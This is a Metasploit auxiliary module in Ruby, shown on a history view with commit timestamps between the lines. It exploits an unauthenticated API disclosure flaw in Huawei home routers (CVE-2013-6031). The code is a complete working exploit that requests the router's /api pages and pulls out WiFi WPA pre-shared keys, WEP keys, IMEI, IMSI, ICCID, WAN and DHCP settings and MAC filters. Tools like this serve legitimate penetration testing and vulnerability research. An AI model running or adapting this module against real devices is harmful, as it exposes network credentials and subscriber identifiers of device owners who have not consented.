metasploit-framework/modules/auxiliary/gather/huawei_wifi_info.rb

297 lines
7.6 KiB
Ruby
Raw Normal View History

2015-01-23 22:23:21 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
2015-01-23 23:29:12 +00:00
BASIC_INFO = {
'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i,
'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i,
'IMEI' => /<Imei>(.*)<\/Imei>/i,
'IMSI' => /<Imsi>(.*)<\/Imsi>/i,
'ICCID' => /<Iccid>(.*)<\/Iccid>/i,
'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i,
'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i,
'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i,
'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i,
'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i,
'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i,
'Classification' => /<Classify>(.*)<\/Classify>/i
}
2015-01-23 23:32:20 +00:00
WAN_INFO = {
'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i,
'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i,
'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i
}
2015-01-23 23:37:20 +00:00
DHCP_INFO ={
'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i,
'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i,
'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i,
'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i
}
2015-01-23 23:50:52 +00:00
WIFI_INFO = {
'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i,
'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i,
'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i,
'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i,
'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i,
'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i,
'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i,
'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i,
'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i
}
2015-01-23 22:23:21 +00:00
def initialize(info={})
super(update_info(info,
2015-01-23 22:37:55 +00:00
'Name' => "Huawei Datacard Information Disclosure Vulnerability",
'Description' => %q{
This module exploits an un-authenticated information disclosure vulnerability in Huawei
2015-01-23 22:23:21 +00:00
SOHO routers. The module will gather information by accessing the /api pages where
2015-01-23 23:09:01 +00:00
authentication is not required, allowing configuration changes as well as information
disclosure including any stored SMS.
2015-01-23 22:23:21 +00:00
},
2015-01-23 22:37:55 +00:00
'License' => MSF_LICENSE,
'Author' =>
[
'Jimson K James.',
2015-01-23 23:09:01 +00:00
'<tomsmaily[at]aczire.com>', # Msf module
2015-01-23 22:37:55 +00:00
],
'References' =>
[
['CWE', '425'],
['CVE', '2013-6031'],
['US-CERT-VU', '341526'],
['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'],
],
'DisclosureDate' => "Nov 11 2013" ))
2015-01-23 22:23:21 +00:00
register_options(
2015-01-23 22:37:55 +00:00
[
Opt::RHOST('mobilewifi.home')
], self.class)
2015-01-23 22:23:21 +00:00
end
2015-01-23 22:37:55 +00:00
#Gather basic router information
2015-01-23 22:23:21 +00:00
def run
get_router_info
2015-01-23 23:29:12 +00:00
print_line('')
2015-01-23 22:23:21 +00:00
get_router_mac_filter_info
2015-01-23 23:29:12 +00:00
print_line('')
2015-01-23 22:23:21 +00:00
get_router_wan_info
2015-01-23 23:29:12 +00:00
print_line('')
2015-01-23 22:23:21 +00:00
get_router_dhcp_info
2015-01-23 23:29:12 +00:00
print_line('')
2015-01-23 22:23:21 +00:00
get_wifi_info
end
def get_wifi_info
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Getting WiFi Key details...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/wlan/security-settings',
})
2015-01-23 22:23:21 +00:00
2015-01-23 23:09:01 +00:00
unless is_target?(res)
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:50:52 +00:00
resp_body = res.body.to_s
log = ''
2015-01-23 22:23:21 +00:00
2015-01-23 23:54:58 +00:00
print_status("WiFi Key Details")
2015-01-23 22:23:21 +00:00
2015-01-23 23:50:52 +00:00
wifi_ssid = get_router_ssid
if wifi_ssid
print_status("WiFi SSID: #{wifi_ssid}")
log << "WiFi SSID: #{wifi_ssid}\n"
2015-01-23 22:23:21 +00:00
end
2015-01-23 23:50:52 +00:00
WIFI_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
log << "#{k}: #{info}\n"
end
2015-01-23 22:23:21 +00:00
end
report_note(
2015-01-23 22:37:55 +00:00
:host => rhost,
2015-01-23 23:50:52 +00:00
:type => 'wifi_keys',
:data => log
2015-01-23 22:23:21 +00:00
)
end
def get_router_info
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Gathering basic device information...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/device/information',
})
2015-01-23 22:23:21 +00:00
2015-01-23 23:09:01 +00:00
unless is_target?(res)
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:29:12 +00:00
resp_body = res.body.to_s
2015-01-23 22:23:21 +00:00
2015-01-23 23:29:12 +00:00
print_status("Basic Information")
2015-01-23 22:23:21 +00:00
2015-01-23 23:29:12 +00:00
BASIC_INFO.each do |k,v|
2015-01-23 23:37:20 +00:00
if resp_body.match(v)
2015-01-23 23:29:12 +00:00
info = $1
print_status("#{k}: #{info}")
end
2015-01-23 22:23:21 +00:00
end
end
def get_router_ssid
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Gathering device SSID...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/wlan/basic-settings',
})
2015-01-23 22:23:21 +00:00
#check whether we got any response from server and proceed.
2015-01-23 23:38:55 +00:00
unless is_target?(res)
return nil
2015-01-23 22:23:21 +00:00
end
2015-01-23 23:38:55 +00:00
resp_body = res.body.to_s
2015-01-23 22:23:21 +00:00
# Grabbing the Wifi SSID
2015-01-23 23:38:55 +00:00
if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i)
2015-01-23 22:23:21 +00:00
return $1
end
2015-01-23 23:38:55 +00:00
nil
2015-01-23 22:23:21 +00:00
end
def get_router_mac_filter_info
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Gathering MAC filters...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/wlan/mac-filter',
})
2015-01-23 22:23:21 +00:00
2015-01-23 23:09:01 +00:00
unless is_target?(res)
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:18:07 +00:00
print_status('MAC Filter Information')
2015-01-23 22:23:21 +00:00
2015-01-23 23:18:07 +00:00
resp_body = res.body.to_s
2015-01-23 22:23:21 +00:00
2015-01-23 23:18:07 +00:00
if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i)
wifi_mac_filter_status = $1
print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" )
2015-01-23 22:23:21 +00:00
end
2015-01-23 23:18:07 +00:00
(0..9).each do |i|
if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i)
wifi_mac_filter = $1
unless wifi_mac_filter.empty?
print_status("Mac: #{wifi_mac_filter}")
end
2015-01-23 22:23:21 +00:00
end
end
end
def get_router_wan_info
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Gathering WAN information...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/monitoring/status',
})
2015-01-23 22:23:21 +00:00
2015-01-23 23:09:01 +00:00
unless is_target?(res)
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:32:20 +00:00
resp_body = res.body.to_s
2015-01-23 22:23:21 +00:00
2015-01-23 23:32:20 +00:00
print_status('WAN Details')
2015-01-23 22:23:21 +00:00
2015-01-23 23:32:20 +00:00
WAN_INFO.each do |k,v|
if resp_body.match(v)
info = $1
2015-01-23 23:37:20 +00:00
print_status("#{k}: #{info}")
2015-01-23 23:32:20 +00:00
end
2015-01-23 22:23:21 +00:00
end
end
def get_router_dhcp_info
2015-01-23 23:54:58 +00:00
print_status("#{peer} - Gathering DHCP information...")
2015-01-23 22:23:21 +00:00
res = send_request_raw(
2015-01-23 22:37:55 +00:00
{
'method' => 'GET',
'uri' => '/api/dhcp/settings',
})
2015-01-23 22:23:21 +00:00
2015-01-23 23:09:01 +00:00
unless is_target?(res)
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:37:20 +00:00
resp_body = res.body.to_s
2015-01-23 22:23:21 +00:00
2015-01-23 23:37:20 +00:00
print_status('DHCP Details')
2015-01-23 22:23:21 +00:00
# Grabbing the DhcpStatus
2015-01-23 23:37:20 +00:00
if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)
dhcp_status = $1
print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}")
2015-01-23 22:23:21 +00:00
end
2015-01-23 23:37:20 +00:00
unless dhcp_status && dhcp_status == '1'
2015-01-23 22:23:21 +00:00
return
end
2015-01-23 23:37:20 +00:00
DHCP_INFO.each do |k,v|
if resp_body.match(v)
info = $1
print_status("#{k}: #{info}")
end
2015-01-23 22:23:21 +00:00
end
end
2015-01-23 23:09:01 +00:00
def is_target?(res)
#check whether we got any response from server and proceed.
unless res
2015-01-23 23:54:58 +00:00
print_error("#{peer} - Failed to get any response from server")
2015-01-23 23:09:01 +00:00
return false
end
#Is it a HTTP OK
unless res.code == 200
2015-01-23 23:54:58 +00:00
print_error("#{peer} - Did not get HTTP 200, URL was not found")
2015-01-23 23:09:01 +00:00
return false
end
#Check to verify server reported is a Huawei router
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
2015-01-23 23:54:58 +00:00
print_error("#{peer} - Target doesn't seem to be a Huawei router")
2015-01-23 23:09:01 +00:00
return false
end
true
end
2015-01-23 22:23:21 +00:00
end